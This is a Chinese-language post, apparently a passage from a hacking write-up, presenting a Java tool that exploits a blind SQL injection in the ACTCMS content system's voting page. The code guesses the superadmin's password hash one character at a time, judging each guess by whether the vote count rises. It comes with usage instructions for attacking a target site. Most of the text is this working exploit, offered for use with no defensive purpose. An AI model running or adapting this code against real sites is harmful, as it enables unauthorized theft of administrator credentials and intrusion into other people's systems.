唯一有变化的就是当我们构造的注入条件正确的时候,票数会增加。 手工利用起来相当的麻烦,试了现在的那些注入工具明小子,pangolin之类的也不能注入,所以我自己动手写了一个简单的程序 ,因为只会JAVA,所以就用JAVA写了。。写的比较粗糙。用的穷举法,这样写着比较方便。速度慢就慢吧。
Java代码
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class ActCmsGetPwd {
public static char[] arr = { ’0’, ’1’, ’2’, ’3’, ’4’, ’5’, ’6’, ’7’, ’8’,
’9’, ’a’, ’b’, ’c’, ’d’, ’e’, ’f’, ’g’, ’h’, ’i’, ’j’, ’k’, ’l’,
’m’, ’n’, ’o’, ’p’, ’q’, ’r’, ’s’, ’t’, ’u’, ’v’, ’w’, ’x’, ’y’,
’z’ };
public static String siteurl = "";
public static int voteid = 1;
public static String charset = "";
public static void main(String[] args) throws Exception {
if (args.length < 4) {
System.out
.println("usage:java ActCmsGetPwd <siteurl> <voteid> <totalVoteNum> <charset>");
System.out.println("siteurl:目标站点");
System.out.println("voteid:投票id");
System.out
.println("totalVoteNum:当前的投票人数,请自行查看plus/vote/index.asp?id=<voteid>");
System.out.println("charset:目标站点所用的ACTCMS的字符集,请自行查看网页源代码");
System.out.println("eg:java ActCmsGetPwd
http://www.abc.com/
1 15 gb2312");
return;
}
siteurl = args[0];
voteid = Integer.parseInt(args[1]);
int preVoteNum = Integer.parseInt(args[2]);
charset = args[3];
System.out.println("Code by Ninty , QQ 3191864");
System.out.print("password is :");
for (int i = 1; i <= 16; i++) {
System.out.print(send(i, 0, preVoteNum));
preVoteNum++;
}
System.out.println("\nDone!");
}
public static char send(int a, int b, int preVoteNum) throws Exception {
String sql = "%20and%20(select%20top%201%20mid(password," + a
+ ",1)%20from%20admin_act%20where%20supertf%20=1)%20=%20’" + arr[b] + "’";
URL u = new URL(siteurl
+ "/Plus/vote/vote.asp?dopost=send&id="+voteid+"&ismore=0&voted=3" + sql);
URLConnection conn = u.openConnection();
BufferedReader reader = new BufferedReader(new InputStreamReader(conn
.getInputStream(),charset));
String str = reader.readLine();
while (str != null) {
if (str.indexOf(" 投票人数:") != -1) {
break;
}
str = reader.readLine();
}
reader.close();
if (!isRight(str, preVoteNum)) {
return send(a, ++b, preVoteNum);
} else {
return arr[b];
}
}
public static boolean isRight(String str, int preVoteNum) {
if (str == null) {
System.out.println("无法读取!");
System.exit(0);
}
Pattern pat = Pattern.compile("人数:(
\\d+)");
Matcher mat = pat.matcher(str);
if (mat.find()) {
int num = Integer.parseInt(mat.group(1));
if (num != preVoteNum) {
return true;
}
}
return false;
}
}